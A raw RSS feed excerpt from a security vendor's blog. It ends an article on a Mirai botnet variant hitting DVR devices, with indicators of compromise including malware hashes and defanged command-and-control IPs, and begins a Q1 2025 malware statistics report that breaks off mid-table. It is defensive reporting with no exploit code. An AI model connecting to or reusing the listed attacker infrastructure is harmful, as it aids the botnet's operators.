https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/05225351/mirai-botnet-variant3-740x312.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/05225351/mirai-botnet-variant3-665x280.png 665w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/05225351/mirai-botnet-variant3-800x337.png 800w" sizes="auto, (max-width: 928px) 100vw, 928px" /></a><p id="caption-attachment-116745" class="wp-caption-text">Process check</p></div>
<p>The implant also verifies if the bot process is running outside an expected directory, based on a hardcoded list of allowed ones:</p>
<div id="attachment_116746" style="width: 584px" class="wp-caption aligncenter"><a href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/05225457/mirai-botnet-variant4.png" class="magnificImage"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-116746" class="size-full wp-image-116746" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/05225457/mirai-botnet-variant4.png" alt="Allowed directories" width="574" height="406" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/05225457/mirai-botnet-variant4.png 574w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/05225457/mirai-botnet-variant4-300x212.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/05225457/mirai-botnet-variant4-495x350.png 495w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/05225457/mirai-botnet-variant4-396x280.png 396w" sizes="auto, (max-width: 574px) 100vw, 574px" /></a><p id="caption-attachment-116746" class="wp-caption-text">Allowed directories</p></div>
<p>Once those checks are successfully completed, Mirai will continue normal execution, preparing the vulnerable device for receiving commands from the operator.</p>
<h2 id="infection-statistics">Infection statistics</h2>
<p>According to our telemetry data, the majority of infected victims are located in countries such as China, India, Egypt, Ukraine, Russia, Turkey, and Brazil. It’s challenging to ascertain the exact number of vulnerable and infected devices globally. However, by analyzing public sources, we’ve identified over 50,000 exposed DVR devices online, indicating that attackers have numerous opportunities to target unpatched, vulnerable devices.</p>
<h2 id="conclusion">Conclusion</h2>
<p>Exploiting known security flaws in IoT devices and servers that haven’t been patched, along with the widespread use of malware targeting Linux-based systems, leads to a significant number of bots constantly searching the internet for devices to infect.</p>
<p>The main goal of such bots is to carry out attacks that overwhelm websites and services (DDoS attacks). Most of these bots don’t stay active after the device restarts because some device firmware doesn’t allow changes to the file system. To protect against infections like these, we recommend updating vulnerable devices as soon as security patches become available. Another thing to consider is a factory reset if your device is indeed vulnerable and exposed.</p>
<p>All Kaspersky products detect the threat as <code>HEUR:Backdoor.Linux.Mirai</code> and <code>HEUR:Backdoor.Linux.Gafgyt</code>.</p>
<h2 id="indicators-of-compromise">Indicators of compromise</h2>
<p><strong>Host-based (MD5 hashes)</strong><br />
<a href="https://opentip.kaspersky.com/011a406e89e603e93640b10325ebbdc8/results?icid=gl_securelist_acq_ona_smm__onl_b2c_securelist_lnk_sm-team_______f0c4906b4cdb8bd9&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">011a406e89e603e93640b10325ebbdc8</a><br />
<a href="https://opentip.kaspersky.com/24fd043f9175680d0c061b28a2801dfc/results?icid=gl_securelist_acq_ona_smm__onl_b2c_securelist_lnk_sm-team_______d9f75555b66e25ce&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">24fd043f9175680d0c061b28a2801dfc</a><br />
<a href="https://opentip.kaspersky.com/29b83f0aae7ed38d27ea37d26f3c9117/results?icid=gl_securelist_acq_ona_smm__onl_b2c_securelist_lnk_sm-team_______de351ecfc5cc6255&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">29b83f0aae7ed38d27ea37d26f3c9117</a><br />
<a href="https://opentip.kaspersky.com/2e9920b21df472b4dd1e8db4863720bf/results?icid=gl_securelist_acq_ona_smm__onl_b2c_securelist_lnk_sm-team_______d6d3ab3b7d689423&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">2e9920b21df472b4dd1e8db4863720bf</a><br />
<a href="https://opentip.kaspersky.com/3120a5920f8ff70ec6c5a45d7bf2acc8/results?icid=gl_securelist_acq_ona_smm__onl_b2c_securelist_lnk_sm-team_______fb8f11741ffbe775&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">3120a5920f8ff70ec6c5a45d7bf2acc8</a><br />
<a href="https://opentip.kaspersky.com/3c2f6175894bee698c61c6ce76ff9674/results?icid=gl_securelist_acq_ona_smm__onl_b2c_securelist_lnk_sm-team_______d18a79d85d871852&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">3c2f6175894bee698c61c6ce76ff9674</a><br />
<a href="https://opentip.kaspersky.com/45a41ce9f4d8bb2592e8450a1de95dcc/results?icid=gl_securelist_acq_ona_smm__onl_b2c_securelist_lnk_sm-team_______edebd28d4cd2fb17&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">45a41ce9f4d8bb2592e8450a1de95dcc</a><br />
<a href="https://opentip.kaspersky.com/524a57c8c595d9d4cd364612fe2f057c/results?icid=gl_securelist_acq_ona_smm__onl_b2c_securelist_lnk_sm-team_______c49d05fb4c1d61e9&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">524a57c8c595d9d4cd364612fe2f057c</a><br />
<a href="https://opentip.kaspersky.com/74dee23eaa98e2e8a7fc355f06a11d97/results?icid=gl_securelist_acq_ona_smm__onl_b2c_securelist_lnk_sm-team_______d50e770ec5b7910b&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">74dee23eaa98e2e8a7fc355f06a11d97</a><br />
<a href="https://opentip.kaspersky.com/761909a234ee4f1d856267abe30a3935/results?icid=gl_securelist_acq_ona_smm__onl_b2c_securelist_lnk_sm-team_______3fa4a9a7f774a397&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">761909a234ee4f1d856267abe30a3935</a><br />
<a href="https://opentip.kaspersky.com/7eb3d72fa7d730d3dbca4df34fe26274/results?icid=gl_securelist_acq_ona_smm__onl_b2c_securelist_lnk_sm-team_______81e1fcf82d063d19&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">7eb3d72fa7d730d3dbca4df34fe26274</a><br />
<a href="https://opentip.kaspersky.com/8a3e1176cb160fb42357fa3f46f0cbde/results?icid=gl_securelist_acq_ona_smm__onl_b2c_securelist_lnk_sm-team_______783ded1476502019&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">8a3e1176cb160fb42357fa3f46f0cbde</a><br />
<a href="https://opentip.kaspersky.com/8d92e79b7940f0ac5b01bbb77737ca6c/results?icid=gl_securelist_acq_ona_smm__onl_b2c_securelist_lnk_sm-team_______5c5e190643415517&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">8d92e79b7940f0ac5b01bbb77737ca6c</a><br />
<a href="https://opentip.kaspersky.com/95eaa3fa47a609ceefa24e8c7787bd99/results?icid=gl_securelist_acq_ona_smm__onl_b2c_securelist_lnk_sm-team_______a128e7b68c5e9472&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">95eaa3fa47a609ceefa24e8c7787bd99</a><br />
<a href="https://opentip.kaspersky.com/96ee8cc2edc8227a640cef77d4a24e83/results?icid=gl_securelist_acq_ona_smm__onl_b2c_securelist_lnk_sm-team_______275622b4301ab1ad&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">96ee8cc2edc8227a640cef77d4a24e83</a><br />
<a href="https://opentip.kaspersky.com/aaf34c27edfc3531cf1cf2f2e9a9c45b/results?icid=gl_securelist_acq_ona_smm__onl_b2c_securelist_lnk_sm-team_______cb4c5c9f720a8c81&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">aaf34c27edfc3531cf1cf2f2e9a9c45b</a><br />
<a href="https://opentip.kaspersky.com/ba32f4eef7de6bae9507a63bde1a43aa/results?icid=gl_securelist_acq_ona_smm__onl_b2c_securelist_lnk_sm-team_______b65badd92d7a2007&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">ba32f4eef7de6bae9507a63bde1a43aa</a><br />
<strong>IPs</strong><br />
<a href="https://opentip.kaspersky.com/116.203.104.203/?icid=gl_securelist_acq_ona_smm__onl_b2c_securelist_lnk_sm-team_______c4aa7f299869ced3&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">116.203.104[.]203</a><br />
<a href="https://opentip.kaspersky.com/130.61.64.122/?icid=gl_securelist_acq_ona_smm__onl_b2c_securelist_lnk_sm-team_______00397413eca49d8c&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">130.61.64[.]122</a><br />
<a href="https://opentip.kaspersky.com/161.97.219.84/?icid=gl_securelist_acq_ona_smm__onl_b2c_securelist_lnk_sm-team_______be3106adbfef064c&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">161.97.219[.]84</a><br />
<a href="https://opentip.kaspersky.com/130.61.69.123/?icid=gl_securelist_acq_ona_smm__onl_b2c_securelist_lnk_sm-team_______ba92c0517080150c&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">130.61.69[.]123</a><br />
<a href="https://opentip.kaspersky.com/185.84.81.194/?icid=gl_securelist_acq_ona_smm__onl_b2c_securelist_lnk_sm-team_______4efb0269c4998d3c&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">185.84.81[.]194</a><br />
<a href="https://opentip.kaspersky.com/54.36.111.116/?icid=gl_securelist_acq_ona_smm__onl_b2c_securelist_lnk_sm-team_______701804d4121ffb15&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">54.36.111[.]116</a><br />
<a href="https://opentip.kaspersky.com/192.3.165.37/?icid=gl_securelist_acq_ona_smm__onl_b2c_securelist_lnk_sm-team_______35ccb669922032d5&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">192.3.165[.]37</a><br />
<a href="https://opentip.kaspersky.com/162.243.19.47/?icid=gl_securelist_acq_ona_smm__onl_b2c_securelist_lnk_sm-team_______25f5659fa40c1ed5&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">162.243.19[.]47</a><br />
<a href="https://opentip.kaspersky.com/63.231.92.27/?icid=gl_securelist_acq_ona_smm__onl_b2c_securelist_lnk_sm-team_______db1e0ce1d1e07022&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">63.231.92[.]27</a><br />
<a href="https://opentip.kaspersky.com/80.152.203.134/?icid=gl_securelist_acq_ona_smm__onl_b2c_securelist_lnk_sm-team_______0ecd60affda8929f&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">80.152.203[.]134</a><br />
<a href="https://opentip.kaspersky.com/42.112.26.36/?icid=gl_securelist_acq_ona_smm__onl_b2c_securelist_lnk_sm-team_______00291183d81d4fd7&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">42.112.26[.]36</a></p>
]]></content:encoded>
<wfw:commentRss>https://securelist.com/mirai-botnet-variant-targets-dvr-devices-with-cve-2024-3721/116742/feed/</wfw:commentRss>
<slash:comments>0</slash:comments>
<media:content xmlns:media="http://search.yahoo.com/mrss/" url="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/06101530/mirai-botnet-dvr-featured.jpg" width="2000" height="1000"><media:keywords>full</media:keywords></media:content>
<media:content xmlns:media="http://search.yahoo.com/mrss/" url="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/06101530/mirai-botnet-dvr-featured-1024x512.jpg" width="1024" height="512"><media:keywords>large</media:keywords></media:content>
<media:content xmlns:media="http://search.yahoo.com/mrss/" url="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/06101530/mirai-botnet-dvr-featured-300x150.jpg" width="300" height="150"><media:keywords>medium</media:keywords></media:content>
<media:content xmlns:media="http://search.yahoo.com/mrss/" url="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/06101530/mirai-botnet-dvr-featured-150x150.jpg" width="150" height="150"><media:keywords>thumbnail</media:keywords></media:content>
</item>
<item>
<title>IT threat evolution in Q1 2025. Non-mobile statistics</title>
<link>https://securelist.com/malware-report-q1-2025-pc-iot-statistics/116686/</link>
<comments>https://securelist.com/malware-report-q1-2025-pc-iot-statistics/116686/#respond</comments>
<dc:creator><![CDATA[AMR]]></dc:creator>
<pubDate>Thu, 05 Jun 2025 10:00:25 +0000</pubDate>
<category><![CDATA[Malware reports]]></category>
<category><![CDATA[Microsoft Windows]]></category>
<category><![CDATA[Adware]]></category>
<category><![CDATA[Malware Statistics]]></category>
<category><![CDATA[Apple MacOS]]></category>
<category><![CDATA[Ransomware]]></category>
<category><![CDATA[Malware Descriptions]]></category>
<category><![CDATA[Malware]]></category>
<category><![CDATA[Trojan]]></category>
<category><![CDATA[Internet of Things]]></category>
<category><![CDATA[Honeypot]]></category>
<category><![CDATA[Miner]]></category>
<category><![CDATA[Trojan-stealer]]></category>
<category><![CDATA[Trojan-Spy]]></category>
<category><![CDATA[SSH]]></category>
<category><![CDATA[Windows malware]]></category>
<category><![CDATA[Unix and macOS malware]]></category>
<guid isPermaLink="false">https://kasperskycontenthub.com/securelist/?p=116686</guid>
<description><![CDATA[The report presents statistics for Windows, macOS, IoT, and other threats, including ransomware, miners, local and web-based threats, for Q1 2025.]]></description>
<content:encoded><![CDATA[<p><img width="990" height="400" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/04173235/SL-malware-report-q1-2025-featured-990x400.jpg" class="attachment-securelist-huge-promo size-securelist-huge-promo wp-post-image" alt="" decoding="async" loading="lazy" /></p><p><strong>IT threat evolution in Q1 2025. Non-mobile statistics</strong><br />
<a href="https://securelist.com/malware-report-q1-2025-mobile-statistics/116676/" target="_blank">IT threat evolution in Q1 2025. Mobile statistics</a></p>
<p><em>The statistics in this report are based on detection verdicts returned by Kaspersky products unless otherwise stated. The information was provided by Kaspersky users who consented to sharing statistical data.</em></p>
<h2 id="the-quarter-in-numbers">The quarter in numbers</h2>
<p>In Q1 2025:</p>
<ul>
<li>Kaspersky products blocked more than 629 million attacks that originated with various online resources.</li>
<li>Web Anti-Virus detected 88 million unique links.</li>
<li>File Anti-Virus blocked more than 21 million malicious and potentially unwanted objects.</li>
<li>Nearly 12,000 new ransomware variants were detected.</li>
<li>More than 85,000 users experienced ransomware attacks.</li>
<li>RansomHub was involved in attacks on 11% of all ransomware victims whose data was published on data leak sites (DLSs). Slightly under 11% encountered the Akira and Clop ransomware.</li>
<li>Almost 315,000 users faced miners.</li>
</ul>
<h2 id="ransomware">Ransomware</h2>
<h3 id="the-quarters-trends-and-highlights">The quarter’s trends and highlights</h3>
<h4 id="law-enforcement-success">Law enforcement success</h4>
<p>Phobos Aetor, a joint international effort by law enforcement agencies from the United States, Great Britain, Germany, France and several other countries, resulted in the <a href="https://www.europol.europa.eu/media-press/newsroom/news/key-figures-behind-phobos-and-8base-ransomware-arrested-in-international-cybercrime-crackdown" target="_blank" rel="noopener">arrest of four suspected members</a> of 8Base. They are accused of carrying out more than 1000 cyberattacks around the world with the help of the <a href="https://securelist.com/cis-ransomware/104452/#phobos-eking" target="_blank" rel="noopener">Phobos ransomware</a>. The suspects were arrested in Thailand and charged with extorting more than $16 million dollars in Bitcoin. According to law enforcement officials, the multinational operation resulted in the seizure of more than 40 assets, including computers, phones, and cryptocurrency wallets. Additionally, law enforcement took down 27 servers linked to the cybercrime gang.</p>
<p>An ongoing effort to combat <a href="https://securelist.com/tag/lockbit/" target="_blank" rel="noopener">LockBit</a> led to the <a href="https://www.justice.gov/usao-nj/pr/dual-russian-and-israeli-national-extradited-united-states-his-role-lockbit-ransomware" target="_blank" rel="noopener">extradition</a> of a suspected ransomware developer to the United States. Arrested in Israel last August, the suspect is accused of receiving more than $230,000 in cryptocurrency for his work with the group between June 2022 and February 2024.</p>
<h4 id="vulnerabilities-and-attacks-byovd-and-edr-bypassing">Vulnerabilities and attacks, BYOVD, and EDR bypassing</h4>
<p>The first quarter saw a series of vulnerabilities <a href="https://kb.cert.org/vuls/id/726882" target="_blank" rel="noopener">detected</a> in Paragon Partition Manager. They were assigned the identifiers CVE-2025-0288, CVE-2025-0287, CVE-2025-0286, CVE-2025-0285, and CVE-2025-0289. According to researchers, ransomware gangs had been exploiting the vulnerabilities to gain Windows SYSTEM privileges during BYOVD (bring your own vulnerable driver) attacks.</p>
<p>Akira <a href="https://www.bleepingcomputer.com/news/security/ransomware-gang-encrypted-network-from-a-webcam-to-bypass-edr/" target="_blank" rel="noopener">exploited</a> a vulnerability in a webcam to try and bypass endpoint detection and response (EDR) and encrypt files on the organization’s network over the SMB protocol. The attackers found that their Windows ransomware was being detected and blocked by the security solution. To bypass it, they found a vulnerable network webcam in the targeted organization that was running a Linux-based operating system and was not protected by EDR. The attackers were able to evade detection by compromising the webcam, mounting network drives of other machines, and running the Linux version of their ransomware on the camera.</p>
<p>HellCat leveraged compromised Jira credentials to <a href="https://www.bleepingcomputer.com/news/security/hellcat-hackers-go-on-a-worldwide-jira-hacking-spree/" target="_blank" rel="noopener">attack</a> a series of companies, including Ascom, Jaguar Land Rover, and Affinitiv. According to <a href="https://www.infostealers.com/article/jaguar-land-rover-breached-by-hellcat-ransomware-using-its-infostealer-playbook-then-a-second-hacker-strikes/" target="_blank" rel="noopener">researchers</a>, the threat actors obtain credentials by infecting employees’ computers with Trojan stealers like <a href="https://securelist.com/lumma-fake-captcha-attacks-analysis/116274/" target="_blank" rel="noopener">Lumma</a>.</p>
<h4 id="other-developments">Other developments</h4>
<p>An unidentified source <a href="https://www.bleepingcomputer.com/news/security/black-basta-ransomware-gang-s-internal-chat-logs-leak-online/" target="_blank" rel="noopener">posted</a> Matrix chat logs belonging to the Black Basta gang. The logs feature information about the gang’s attack techniques and vulnerabilities that it exploited. In addition, the logs contain details about the group’s internal structure and its members, as well as more than 367 unique ZoomInfo links that the attackers used to gather data on potential victims.</p>
<p>BlackLock was compromised due to a vulnerability in the threat actor’s data leak site (DLS). Researchers who <a href="https://www.resecurity.com/blog/article/blacklock-ransomware-a-late-holiday-gift-with-intrusion-into-the-threat-actors-infrastructure" target="_blank" rel="noopener">discovered</a> the vulnerability gained access to confidential information about the group and its activities, including configuration files, login credentials, and the history of commands run on the server. DragonForce, a rival ransomware outfit, exploited the same security flaw to deface the DLS. They changed the site’s appearance, and made BlackLock’s internal chat logs and certain configuration files publicly available.</p>
<h4 id="the-most-prolific-groups">The most prolific groups</h4>
<p>This section highlights the most prolific ransomware groups by number of victims that each added to their DLS during the reporting period. RansomHub, which stood out in 2024, remained the leader by number of new victims with 11.03%. Akira (10.89%) and Clop (10.69%) followed close behind.</p>
<div class="js-infogram-embed" data-id="_/TtLYZQF0PuYYU2z1akdJ" data-type="interactive" data-title="01-EN-Malware report PC graphs" style="min-height:;"></div>
<p style="text-align: center;font-style: italic;font-weight: bold;margin-top: -10px"><em>The number of the group’s victims according to its DLS as a percentage of all groups’ victims published on all the DLSs reviewed during the reporting period (<a href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/03223543/malware-report-q1-2025-pcEN1.png" target="_blank" rel="noopener">download</a>)</em></p>
<h3 id="number-of-new-modifications">Number of new modifications</h3>
<p>In the first quarter, Kaspersky solutions detected three new ransomware families and 11,733 new variants – almost four times more than in the fourth quarter of 2024. This is due to the large number of samples that our solutions categorized as belonging to the Trojan-Ransom.Win32.Gen family.</p>
<div class="js-infogram-embed" data-id="_/n6PamiPNmo56H13c1A7N" data-type="interactive" data-title="02 EN-RU-ES-Malware report PC graphs" style="min-height:;"></div>
<p style="text-align: center;font-style: italic;font-weight: bold;margin-top: -10px"><em>New ransomware variants, Q1 2024 – Q1 2025 (<a href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/05083923/malware-report-q1-2025-pc2.png" target="_blank" rel="noopener">download</a>)</em></p>
<h3 id="number-of-users-attacked-by-ransomware-trojans">Number of users attacked by ransomware Trojans</h3>
<p>The number of unique KSN users protected is 85,474.</p>
<div class="js-infogram-embed" data-id="_/LfyR0oMuDb1LD4Id0hFJ" data-type="interactive" data-title="03-EN-Malware report PC graphs" style="min-height:;"></div>
<p style="text-align: center;font-style: italic;font-weight: bold;margin-top: -10px"><em>Number of unique users attacked by ransomware Trojans, Q1 2025 (<a href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/03223900/malware-report-q1-2025-pcEN3.png" target="_blank" rel="noopener">download</a>)</em></p>
<h3 id="attack-geography">Attack geography</h3>
<h4 id="top-10-countries-and-territories-attacked-by-ransomware-trojans">Top 10 countries and territories attacked by ransomware Trojans</h4>
<table>
<tbody>
<tr>
<td></td>
<td><strong>Country/territory*</strong></td>
<td><strong>%**</strong></td>
</tr>
<tr>
<td>1</td>
<td>Oman</td>
<td>0.661</td>
</tr>
<tr>
<td>2</td>
<td>Libya</td>
<td>0.643</td>
</tr>
<tr>
<td>3</td>
<td>South Korea</td>
<td>0.631</td>
</tr>
<tr>
<td>4</td>
<td>China</td>
<td>0.626</td>
</tr>
<tr>
<td>5</td>
<td>Bangladesh</td>
<td>0.472</td>
</tr>
<tr>
<td>6</td>
<td>Iraq</td>
<td>0.452</td>
</tr>
<tr>
<td>7</td>
<td>Rwanda</td>
<td>0.443</td>
</tr>
<tr>
<td>8</td>
<td>Pakistan</td>
<td>0.441</td>
</tr>
<tr>
<td>9</td>
<td>Tajikistan</td>
<td>0.439</td>
</tr>
<tr>
<td>10</td>
<td>Sri Lanka</td>
<td>0.419</td>
</tr>
</tbody>
</table>
<p><em>* Excluded are countries and territories with relatively few (under 50,000) Kaspersky product users.</em><br />
<em>** Unique users whose computers were attacked by ransomware Trojans as a percentage of all unique Kaspersky product users in the country/territory</em></p>
<h4 id="top-10-most-common-ransomware-trojan-families">TOP 10 most common ransomware Trojan families</h4>
<table>
<tbody>
<tr>
<td></td>
<td><strong>Name</strong></td>
<td><strong>Verdict*</strong></td>
<td><strong>%**</strong></td>
<td></td>
</tr>
<tr>
<td>1</td>
<td>(generic verdict)</td>
<td>Trojan-Ransom.Win32.Gen</td>
<td>25.10</td>
</tr>
<tr>
<td>2</td>
<td>WannaCry</td>
<td>Trojan-Ransom.Win32.Wanna</td>
<td>8.19</td>
</tr>
<tr>
<td>3</td>
<td>(generic verdict)</td>
<td>Trojan-Ransom.Win32.Encoder</td>
<td>6.70</td>
</tr>
<tr>
<td>4</td>
<td>(generic verdict)</td>
<td>Trojan-Ransom.Win32.Crypren</td>
<td>6.65</td>
</tr>
<tr>
<td>5</td>
<td>(generic verdict)</td>
<td>Trojan-Ransom.Win32.Agent</td>
<td>3.95</td>
</tr>
<tr>
<td>6</td>
<td>Cryakl/CryLock</td>
<td>Trojan-Ransom.Win32.Cryakl</td>
<td>3.16</td>
</tr>
<tr>
<td>7</td>
<td>LockBit</td>
<td>Trojan-Ransom.Win32.Lockbit</td>
<td>3.15</td>
</tr>
<tr>
<td>8</td>
<td>(generic verdict)</td>
<td>Trojan-Ransom.Win32.Phny</td>
<td>2.90</td>
</tr>
<tr>
<td>9</td>
<td>PolyRansom/VirLock</td>
<td>Virus.Win32.PolyRansom / Trojan-Ransom.Win32.PolyRansom</td>
<td>2.73</td>
</tr>
<tr>
<td>10</td>
<td>(generic verdict)</td>
<td>Trojan-Ransom.Win32.Crypmod</td>
<td>2.66</td>
</tr>
</tbody>
</table>
<p><em>* Unique Kaspersky product users attacked by the specific ransomware Trojan family as a percentage of all unique users attacked by this type of threat.</em></p>
<h2 id="miners">Miners</h2>
<h3 id="number-of-new-modifications">Number of new modifications</h3>
<p>In the first quarter of 2025, Kaspersky solutions detected <strong>5,467</strong> new miner variants.</p>
<div class="js-infogram-embed" data-id="_/qfmv3gRYOS6VGlloi0d8" data-type="interactive" data-title="04-EN-Malware report PC graphs" style="min-height:;"></div>
<p style="text-align: center;font-style: italic;font-weight: bold;margin-top: -10px"><em>New miner variants, Q1 2025 (<a href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/03224711/malware-report-q1-2025-pcEN4.png" target="_blank" rel="noopener">download</a>)</em></p>
<h3 id="number-of-users-attacked-by-miners">Number of users attacked by miners</h3>
<p>Miners were fairly active in the first quarter. During the reporting period, we detected miner attacks on the computers of <strong>315,701</strong> unique Kaspersky product users worldwide.</p>
<div class="js-infogram-embed" data-id="_/cWKfuf8GbwWtN4GHoTcq" data-type="interactive" data-title="05-EN-Malware report PC graphs" style="min-height:;"></div>
<p style="text-align: center;font-style: italic;font-weight: bold;margin-top: -10px"><em>Number of unique users attacked by miners, Q1 2025 (<a href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/03224953/malware-report-q1-2025-pcEN5.png" target="_blank" rel="noopener">download</a>)</em></p>
<h3 id="attack-geography">Attack geography</h3>
<h4 id="top-10-countries-and-territories-attacked-by-miners">Top 10 countries and territories attacked by miners</h4>
<table>
<tbody>
<tr>
<td></td>
<td><strong>Country/territory*</strong></td>
<td><strong>%**</strong></td>
<td></td>
</tr>
<tr>
<td>1</td>
<td>Senegal</td>
<td>2.59</td>
</tr>
<tr>
<td>2</td>
<td>Kazakhstan</td>
<td>1.36</td>
</tr>
<tr>
<td>3</td>
<td>Panama</td>
<td>1.28</td>
</tr>
<tr>
<td>4</td>
<td>Belarus</td>
<td>1.22</td>
</tr>
<tr>
<td>5</td>
<td>Ethiopia</td>
<td>1.09</td>
</tr>
<tr>
<td>6</td>
<td>Tajikistan</td>
<td>1.07</td>
</tr>
<tr>
<td>7</td>
<td>Moldova</td>
<td>0.90</td>
</tr>
<tr>
<td>8</td>
<td>Dominican Republic</td>
<td>0.86</td>
</tr>
<tr>
<td>9</td>
<td>Kyrgyzstan</td>
<td>0.84</td>
</tr>
<tr>
<td>10</td>
<td>Tanzania</td>
<td>0.82</td>
</tr>
</tbody>
</table>
<p><em>* Excluded are countries and territories with relatively few (under 50,000) Kaspersky product users.</em><br />
<em>** Unique users whose computers were attacked by miners as a percentage of all unique Kaspersky product users in the country/territory.</em></p>
<h2 id="attacks-on-macos">Attacks on macOS</h2>
<p>The first quarter saw the <a href="https://www.sentinelone.com/blog/readerupdate-reforged-melting-pot-of-macos-malware-adds-go-to-crystal-nim-and-rust-variants/" target="_blank" rel="noopener">discovery</a> of a new Trojan loader for macOS. This is a Go-based variant of ReaderUpdate, which has previously appeared in Python, Crystal, Rust, and Nim versions. These loaders are typically used to download intrusive adware, but there is nothing stopping them from delivering any kind of Trojan.</p>
<p>During the reporting period <a href="https://www.sentinelone.com/blog/macos-flexibleferret-further-variants-of-dprk-malware-family-unearthed/" target="_blank" rel="noopener">researchers identified</a> new loaders from the Ferret malware family which were being distributed by attackers through fake online job interview invitations. These Trojans are believed to be part of an ongoing campaign that began in December 2022. The original members of the Ferret family date back to late 2024. Past versions of the loader delivered both a backdoor and a crypto stealer.</p>
<p>Throughout the first quarter, various modifications of the <a href="https://securelist.com/crimeware-report-fakesg-akira-amos/111483/#amos" target="_blank" rel="noopener">Amos stealer</a> were the most aggressively distributed Trojans. Amos is designed to steal user passwords, cryptocurrency wallet data, browser cookies, and documents. In this campaign, threat actors frequently modify their Trojan obfuscation techniques to evade detection, generating thousands of obfuscated files to overwhelm security solutions.</p>
<h4 id="top-20-threats-to-macos">TOP 20 threats to macOS</h4>
<div class="js-infogram-embed" data-id="_/SAQOyIOEu62NVVMnZAX6" data-type="interactive" data-title="06-ES-EN-Malware report PC graphs" style="min-height:;"></div>
<p style="text-align: center;font-style: italic;font-weight: bold;margin-top: -10px"><em> (<a href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/05084335/malware-report-q1-2025-pc6-scaled-1-scaled.png" target="_blank" rel="noopener">download</a>)</em></p>
<p><em>* Unique users who encountered this malware as a percentage of all attacked users of Kaspersky security solutions for macOS.</em><br />
<em>* Data for the previous quarter may differ slightly from previously published data due to certain verdicts being retrospectively revised.</em></p>
<p>As usual, a significant share of the most common threats to macOS consists of potentially unwanted applications: adware, spyware tracking user activity, fake cleaners, and reverse proxies like NetTool. Amos Trojans, which we mentioned earlier, also gained popularity in the first quarter. Trojan.OSX.Agent.gen, which holds the third spot in the rankings, is a generic verdict that detects a wide variety of malware.</p>
<h3 id="geography-of-threats-to-macos">Geography of threats to macOS</h3>
<h4 id="top-10-countries-and-territories-by-share-of-attacked-users">TOP 10 countries and territories by share of attacked users</h4>
<table>
<tbody>
<tr>
<td><strong>Country/territory</strong></td>
<td><strong>Q4 2024*</strong></td>
<td><strong>Q1 2025*</strong></td>
</tr>
<tr>
<td>Spain</td>
<td>1.16%</td>
<td>1.02%</td>
</tr>
<tr>
<td>France</td>
<td>1.52%</td>
<td>0.96%</td>
</tr>
<tr>
<td>Hong Kong</td>
<td>1.21%</td>
<td>0.83%</td>
</tr>
<tr>
<td>Singapore</td>
<td>0.32%</td>
<td>0.75%</td>
</tr>
<tr>
<td>Mexico</td>
<td>0.85%</td>
<td>0.74%</td>
</tr>
<tr>
<td>Germany</td>
<td>0.96%</td>
<td>0.74%</td>
</tr>
<tr>
<td>Mainland China</td>
<td>0.73%</td>
<td>0.68%</td>
</tr>
<tr>
<td>Brazil</td>
<td>0.66%</td>
<td>0.61%</td>
</tr>
<tr>
<td>Russian Federation</td>
<td>0.50%</td>
<td>0.53%</td>
</tr>
<tr>
<td>India</td>
<td>0.84%</td>
<td>0.51%</td>
</tr>
</tbody>
